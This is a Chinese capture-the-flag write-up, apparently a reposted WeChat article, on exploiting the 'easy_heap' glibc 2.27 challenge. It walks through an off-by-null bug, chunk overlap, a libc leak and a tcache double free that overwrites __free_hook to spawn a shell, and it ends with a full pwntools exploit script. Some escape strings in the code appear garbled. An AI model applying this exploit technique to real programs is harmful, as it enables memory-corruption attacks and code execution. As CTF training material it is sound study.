不提供libc,直接用libc-2.27做。
只有增删查,没有改。
chunklist开头也是一块0xA0的chunk。
漏洞发生点在sub_CFC(即add)中。
前面限制了只能malloc(0xF8),最多10个堆块。跟进到后面可以很明显的感觉出来sub_BEC(a1,a2)传的两个参数是chunk地址和chunk size,它们都分别记录在chunklist上。
跟进sub_BEC()。
0x0和0x0A为终止符,这限制了我们不好写0x200。chunk[size]=0显然越界到下一个chunk中了,也就是经典的off by null。但这里是否越界是由size决定的,显然size=0xf8产生越界,size<0xf8就不会越界。
先add两个试试。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./easy_heap","b *0x555555554f4enc")
#sh = process("./easy_heap")
elf = ELF("./easy_heap")
def add(size, content="AAAAAAAA"):
sh.sendlineafter("> ","1")
sh.sendlineafter("> ",str(size))
sh.sendlineafter("> ",content)
def show(index):
sh.sendlineafter("> ","3")
sh.sendlineafter("> ",str(index))
def free(index):
sh.sendlineafter("> ","2")
sh.sendlineafter("> ",str(index))
add(0xF8)
add(0xF8)
show(0)
sh.interactive()
很正常,然后free()上面一个,再add()回来。
add(0xF8)
add(0xF8)
free(0)
add(0xF8)
show(0)
可以很明显发现0x101变成0x100了,这说明PREV_INUSE位被错误的置0了。如果使用add(0x10),虽然堆块大小不变,却不会置0。
再回顾一下off by null利用所必须的堆块合并流程。
1,size不属于largebin/fastbin,tcachebin被填满(2.27),所以进入unsortedbin。
2,检测到PREV_INUSE为0,意味着前面有free的chunk,尝试合并。
3,检测到PREV_SIZE为0x300,检测-0x300的位置是否为已经free的chunk。
4,找到-0x300的chunk,PREV_INUSE不为0,意味着前面没有其他free的chunk了。
5,检测-0x300的chunk的fd/bk指针是否合法。
6,合并0x90+0x300。
这题最麻烦的地方在于不能写0x0,因此不好伪造PREV_SIZE,所以我们必须走完一个正常的堆块流程,这样会残存PREV_SIZE以供利用。
先申请10个堆块,然后全部释放掉,先释放最下面的7个做tcachebin,再释放最上面的3个做unsortedbin。
for i in range(10):
add(0x10)
for i in range(3,10):
free(i)
free(0)
free(1)
free(2)
可以看到,这个操作完成之后,已经合并出来一个0x300的unsortedbin,但PREV_SIZE并没有被清除。然后将所有堆块申请回来,此时顺序变了,核心的c0c1c2变成了c7c8c9,为了后面描述方便,将其称为CA/CB/CC,理解成最上面3个chunk就行。
for i in range(10):
add(0x10)
得到这样的布局就很完美了,接下来就是伪造堆块合并的条件,首先CA必须是unsortedbin,CC必须PREV_INUSE为0,且PREV_SIZE不能被破坏,这意味着必须释放 CB为tcache。那么就要先释放6个tcache,然后释放CB,再释放CA,最后add(f8)将CB加回来伪造CC的PREV_INUSE。
for i in range(0,6):
free(i) #6 tcache
free(8) #CB tcache
free(7) #CA unsortedbin
add(0xf8) #add CB, CC PREV_INUSE = 0x0
此时CA free到unsortedbin,CB没有free,但因为篡改了PREV_INUSE被误认为已经free,CC在PREV_INUSE=0的同时PREV_SIZE=0x200。满足了堆块向上合并的一切条件。
free(6)
free(9)
可以看到,CA/CB/CC已经合并成了0x300的unsortedbin,但CB根本就没被free,此时从unsortedbin上切一块0x100下来,打印CB,即可泄露libc。
for i in range(7):
add(0x10) #0 tcache
add(0x10) #add CA
show(0) #show CB, leak libc
泄露了libc之后,getshell当然是用重叠两个tcache的办法,此时已经新增了8个chunk,再加CB这个重叠chunk,一共9个。如果先add(0x10),再释放两次CB,也就是free(0)和free(9),虽然能够重叠两个tcache,但再add回来篡改fd要三次,chunk数量会不够,因此需要在释放两次CB之前随便释放一些堆块来解放chunk数量。
add(0x10)
free(3)
free(4)
free(0) #first free CB
free(9) #double free CB
add(0x10, "B"*8)
add(0x10)
成功让tcache指向错误地址,下次add(0x10)就会尝试申请这个地址为堆块。当然还是因为Full RELRO无法劫持got,得劫持__free_hook或者__malloc_hook。这里尝试了一下,__free_hook+one_gadget即可getshell。
完整exp如下。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./easy_heap","b *0x555555554f4encnc")
sh = process("./easy_heap")
elf = ELF("./easy_heap")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_main_arena = libc_malloc_hook + 0x10
libc_main_arena_N = libc_malloc_hook + 0x70
libc_free_hook = libc.sym['__free_hook']
# chunklist 0x555555759250
def add(size, content="AAAAAAAA"):
sh.sendlineafter("> ","1")
sh.sendlineafter("> ",str(size))
sh.sendlineafter("> ",content)
def show(index):
sh.sendlineafter("> ","3")
sh.sendlineafter("> ",str(index))
def free(index):
sh.sendlineafter("> ","2")
sh.sendlineafter("> ",str(index))
for i in range(10):
add(0x10)
for i in range(3,10):
free(i) #7 tcache
free(0) #CA
free(1) #CB
free(2) #CC PREV_SIZE = 0x200
for i in range(10):
add(0x10)
for i in range(0,6):
free(i) #6 tcache
free(8) #CB tcache
free(7) #CA unsortedbin
add(0xf8) #add CB, CC PREV_INUSE = 0x0
free(6) #top 7 tcache
free(9) #free CC, CB chunk overlapping
for i in range(7):
add(0x10) #0 tcache
add(0x10) #add CA
show(0) #show CB, leak libc
main_arena_N_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(main_arena_N_addr))
libc_base = main_arena_N_addr - libc_main_arena_N
print(hex(libc_base))
one = [0x4f2c5, 0x4f322, 0x10a38c]
add(0x10)
free(3)
free(4)
free(0) #first free CB
free(9) #double free CB
add(0x10,p64(libc_base + libc_free_hook)) #fake CB fd
add(0x10)
add(0x10, p64(libc_base + one[1])) #write free_hook to one_gadget
free(5) #getshell
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(25)——eazy_heap
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论